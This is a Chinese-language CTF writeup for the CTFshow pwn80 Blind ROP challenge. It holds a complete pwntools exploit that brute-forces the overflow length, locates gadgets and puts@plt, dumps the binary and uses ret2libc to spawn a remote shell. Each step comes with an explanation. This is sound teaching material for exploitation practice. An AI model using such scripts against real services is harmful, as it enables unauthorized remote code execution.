CTFshow - pwn入门 - writeup

注:pwn80折磨了我好久,本来想全做完一口气整理的,但是实在是搜到的这题讲解太少了所以先写一个

栈溢出

pwn80

通关代码
这句提醒比较重要所以我给放到上面第一句了
由于需要编写很多报错处理的内容,要注意报错的原因应该是远端的问题而不是本地代码的错误,要不代码跑的很顺利就是跑不出来结果很难受。
(下面有代码详解)

from pwn import *
from LibcSearcher import *

def connection():
    io = remote('pwn.challenge.ctf.show',28105)
    io.recvuntil('Do you know who is daniu?\n')
    return io

def try_onegadget(times):
    io = connection()
    addr = 0x10a2fc
    payload = b'a' * times + p64(addr)
    io.sendline(payload)
    io.interactive()

def get_buf_length():
    times = 1
    while 1:
        try:
            io = connection()
            payload = 'a' * times
            io.send(payload)
            data = io.recv()
            print(data)
            io.close()
            if b'No passwd,See you!' not in data:
                return times - 1
            else:
                times += 1
        except EOFError:
            time += 1

def get_stop_gadget(times):
    address = 0x400000
    while 1:
        try:
            io = connection()
            payload = b'a' * times + p64(address)
            io.send(payload)
            data = io.recv(timeout = 0.1)
            print(data)
            print(hex(address))
            io.close()
            if data.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
                return address
            else:
                address+=1
        except EOFError:
            address += 1

def get_csu_gadget(times,stop):
    add = 0x400000
    while 1:
        try:
            io = connection()
            payload = b'a' * times + p64(add) + p64(0) * 6 + p64(stop) + p64(0)
            io.send(payload)
            data = io.recv(timeout = 0.1)
            print(data)
            print(hex(add))
            io.close()
            if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in data:
                io = connection()
                payload = b'a' * times + p64(add) + p64(0) * 6 + p64(0)
                io.send(payload)
                data = io.recv(timeout = 0.1)
                if b'Do you know who is daniu?' in data:
                    add += 1
                else:
                    return add
            else:
                add += 1
        except:
            add += 1

def get_puts(times,stop,gadget):
    add = 0x400000
    pop_rdi = gadget + 9
    while 1:
        io = connection()
        print(hex(add))
        payload = b'a' * times + p64(pop_rdi) + p64(0x400000) + p64(add) + p64(stop)
        try:
            io.send(payload)
            data = io.recv(timeout = 0.1)
            print(data)
            io.close()
            if data.startswith(b'\x7fELF'):
                return add
            else:
                add += 1
        except:
            print('wrong\nwrong\n')
            add += 1

def leak(times,stop,gadget,puts_plt):
    end = 0x401000
    add = 0x400000
    with open('pwn', 'wb') as file:
        while add < end :
            io = connection()
            payload = b'a' * times + p64(gadget + 9) + p64(add) +p64(puts_plt) + p64(stop)
            io.send(payload)
            data = io.recvuntil("Welcome to CTFshow-PWN", timeout=0.1, drop=True)
            io.close()
            print(hex(add))
            print(data)
            if data == b'\n':
                data = b'\x00'
            elif data.endswith(b'\n'):
                data = data[:-1]
            else:
                add += 1
            print(data)
            file.write(data)
            add += len(data)

def attack(times,gadget,stop,puts_plt,puts_got):
    poprdi = gadget + 9
    io = connection()
    payload = b'a' * times + p64(poprdi) + p64(puts_got) + p64(puts_plt) + p64(stop)
    io.sendline(payload)
    real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
    libc = LibcSearcher('puts',real_addr)
    libc_base = real_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    bin_sh = libc_base + libc.dump('str_bin_sh')
    payload = b'a' * times + p64(poprdi) + p64(bin_sh) + p64(system_addr) +p64(stop)
    io.sendline(payload)
    io.interactive()

times = 72
stop_gadget_address = 0x400728
gadget_addr = 0x40083a
puts_pltaddr = 0x400545
puts_gotaddr = 0x602018
#leak(times,stop_gadget_address,gadget_addr,puts_pltaddr)
attack(times,gadget_addr,stop_gadget_address,puts_pltaddr,puts_gotaddr)
#times = get_buf_length()
#address = get_stop_gadget(times)
#address = get_csu_gadget(times,stop_gadget_address)
#address = get_puts(times,stop_gadget_address,gadget_addr)
#print(hex(address))

前置知识概念

本部分知识主要粘贴学习来自:
ctfshow官方writeup以及ctfwiki
因本题不涉及到canary故不做该部分内容,其余部分内容也加入了个人理解(有出错的可能)
在BlindROP中,基本的遵循的思路如下
判断栈溢出长度:
暴力枚举
Stack Reading:
获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。
Blind ROP:
找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。
Build the exploit:
利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。

判断栈长度

直接从长度为1暴力枚举即可,直到发现程序崩溃。

def get_buf_length():
    times = 1#times表示尝试填入的栈长度
    while 1:
        try:
            io = connection()
            payload = 'a' * times
            io.send(payload)
            data = io.recv()
            print(data)
            io.close()
            if b'No passwd,See you!' not in data:
                return times - 1#当已经无法正常返回的时候说明已经破坏到了返回值故实际需填充的长度需减一
            else:
                times += 1
        except EOFError:
            time += 1

找到stop_gadget

所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。stop gadget其根本的目的在于告诉攻击者,所测试的返回地址是一个gadgets。之所以要寻找 stop gadgets,是因为当我们猜到某个gadgtes后,如果我们仅仅是将其布置在栈上,由于执行完这个gadget之后,程序还会跳到栈上的下一个地址。如果该地址是非法地址,那么程序就会crash。这样的话,在攻击者看来程序只是单纯的crash了。因此,攻击者就会认为在这个过程中并没有执行到任何的useful gadget,从而放弃它。
总而言之,stopgadget的作用就是检查我们payload中加在其前面的内容是否可以正常执行,起到一个判断的作用。

关于为什么接受返回值的时候要加上参数timeout = 0.1,官方文档给的解释是要接受全部的比特信息。
而为什么对于data内容的检查使用startswith而不是检查是不是包含某字符串是因为在某些情况下会连带着一些奇奇怪怪的东西一起输出出来,此时虽然接收到了标志性的字符串,但程序不是正常的在执行。

def get_stop_gadget(times):
    address = 0x400000
    while 1:
        try:
            io = connection()
            payload = b'a' * times + p64(address)
            io.send(payload)
            data = io.recv(timeout = 0.1)
            print(data)
            print(hex(address))
            io.close()
            if data.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
                return address
            else:
                address+=1
        except EOFError:
            address += 1

找到csu_gadget

下述部分直接看别人代码的时候我是没有看懂的,还是得先理解具体的功能,如不了解建议仔细阅读文字部分。
如果我们布置了stop gadget,那么对于我们所要尝试的每一个地址,如果它是一个gadget的话,那么程序不会崩溃。接下来,就是去想办法识别这些gadget。
识别 gadgets
那么,我们该如何识别这些gadgets呢?我们可以通过栈布局以及程序的行为来进行识别。为了更加容易地进行介绍,这里定义栈上的三种地址
Probe
探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不对,就可能是程序是32位了。
Stop
不会使得程序崩溃的stop gadget的地址。
Trap
可以导致程序崩溃的地址
我们可以通过在栈上摆放不同顺序的Stop与Trap从而来识别出正在执行的指令。因为执行Stop意味着程序不会崩溃,执行Trap意味着程序会立即崩溃。
注:本代码中p64(0)代表trap
关于为什么要连续放六个trap在这里,是因为在elf文件中在libc_csu_init的结尾有一长串的gadgets
image
如图所示,由于其可以连续pop6个栈上内容的特殊性,我们首先可以定位到这一段的地址(其余pop不了6个栈上信息的地址将会进入到trap程序直接报错),再通过相对位置确定到pop rdi;ret;的位置(即这一个位于csu的gadget便宜0x9的位置)所以后续pop rdi;ret;的地址就是csu_gadget + 9。
此时还有一个问题,即如果我们的探针测试的地址是一个stop地址程序也不会报错,所以要对上面筛选出的地址进行二次筛选即在探针后加入七个trap,这样的话,如果是我们想要找的csu_gadget将会只能弹出六个栈上内容而程序跳到第七个trap报错中止,而如果是stop_gadget的话将不会弹出任何内容,继续正常执行。

def get_csu_gadget(times,stop):
    add = 0x400000
    while 1:
        try:
            io = connection()
            payload = b'a' * times + p64(add) + p64(0) * 6 + p64(stop) + p64(0)
            io.send(payload)
            data = io.recv(timeout = 0.1)
            print(data)
            print(hex(add))
            io.close()
            if b'Welcome to CTFshow-PWN ! Do you know who is daniu?' in data:
                io = connection()
                payload = b'a' * times + p64(add) + p64(0) * 6 + p64(0)
                io.send(payload)
                data = io.recv(timeout = 0.1)
                if b'Do you know who is daniu?' in data:
                    add += 1
                else:
                    return add
            else:
                add += 1
        except:
            add += 1

找到puts_plt

这一部分就是给我的感觉就像是转轮的密码锁,第一位我们已经知道pop rdi的地址,并且也知道代码起始地址的内容,(在程序还没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为\x7fELF。所以我们可以根据这个来进行判断。)所以只需要不断尝试后续地址是不是我们所需要的puts即可,当add变到puts_plt的时候将直接打印输出ELF文件头部内容。

需要注意的是这里需要给io.recv加上参数timeout = 0.1
还有就是我跑出来的puts_plt地址为0x400545,而官方wp和其他师傅的wp均为0x400550,这里我在闲鱼上咨询了一位师傅,他解释说让我研究一下plt表原理(plt表示意图如下)并说从0和B(指地址的最后一位)执行过去的效果是一样的,而545和550刚好差了个0xb,所以没什么问题,但我不理解为什么其他师傅偏要写0x400550,明明代码跑出来是0x400545.
image

def get_puts(times,stop,gadget):
    add = 0x400000
    pop_rdi = gadget + 9
    while 1:
        io = connection()
        print(hex(add))
        payload = b'a' * times + p64(pop_rdi) + p64(0x400000) + p64(add) + p64(stop)
        try:
            io.send(payload)
            data = io.recv(timeout = 0.1)
            print(data)
            io.close()
            if data.startswith(b'\x7fELF'):
                return add
            else:
                add += 1
        except:
            print('wrong\nwrong\n')
            add += 1

dump代码

在我们可以调用puts函数后,我们可以泄露 puts 函数的地址,进而获取libc版本,从而获取相关的system函数地址与/bin/sh地址,从而获取 shell。我们从0x400000开始泄露0x1000个字节,这已经足够包含程序的plt部分了。
注:
这部分代码有如下要解释说明的点,由于我们收到的字符是bytes类型的字符串用官方wp的代码永远也比较不出来,所以要在这部分进行判断的时候把\n也转换成bytes类型
还有一个问题就是在payload的最后一部分是有一个stop_gadget的,所以我们要把进入到stop_gadget后发送的字符串给舍弃掉
另外就是要给那个文件的权限设置成wb而不是只有w,要不代码逻辑会一下子复杂好多。

if data == b'\n':
	data = b'\x00'
elif data.endswith(b'\n'):
	data = data[:-1]

关于我为什么在这部分代码后面还有一个else的内容是add += 1,是因为在比较靠后的一个地址我接受到了一个纯空的字符串,程序直接卡在那里了。(不过无关紧要,puts_plt早已输出出来了)

def leak(times,stop,gadget,puts_plt):
    end = 0x401000
    add = 0x400000
    with open('pwn', 'wb') as file:
        while add < end :
            io = connection()
            payload = b'a' * times + p64(gadget + 9) + p64(add) +p64(puts_plt) + p64(stop)
            io.send(payload)
            data = io.recvuntil("Welcome to CTFshow-PWN", timeout=0.1, drop=True)
            io.close()
            print(hex(add))
            print(data)
            if data == b'\n':
                data = b'\x00'
            elif data.endswith(b'\n'):
                data = data[:-1]
            else:
                add += 1
            print(data)
            file.write(data)
            add += len(data)

找到puts_got

然后我们把生成的文件放到ida看一眼即可,(会有很多弹窗,都给点掉就行了),根据如下图的位置找可以直接修改程序的基地址加一个0x400000
image
image
然后在之前泄露的putsplt的位置找到程序跳转的地址即puts_got
image

攻击

这部分比较简单了就,就是普普通通的ret2libc

def attack(times,gadget,stop,puts_plt,puts_got):
    poprdi = gadget + 9
    io = connection()
    payload = b'a' * times + p64(poprdi) + p64(puts_got) + p64(puts_plt) + p64(stop)
    io.sendline(payload)
    real_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
    libc = LibcSearcher('puts',real_addr)
    libc_base = real_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    bin_sh = libc_base + libc.dump('str_bin_sh')
    payload = b'a' * times + p64(poprdi) + p64(bin_sh) + p64(system_addr) +p64(stop)
    io.sendline(payload)
    io.interactive()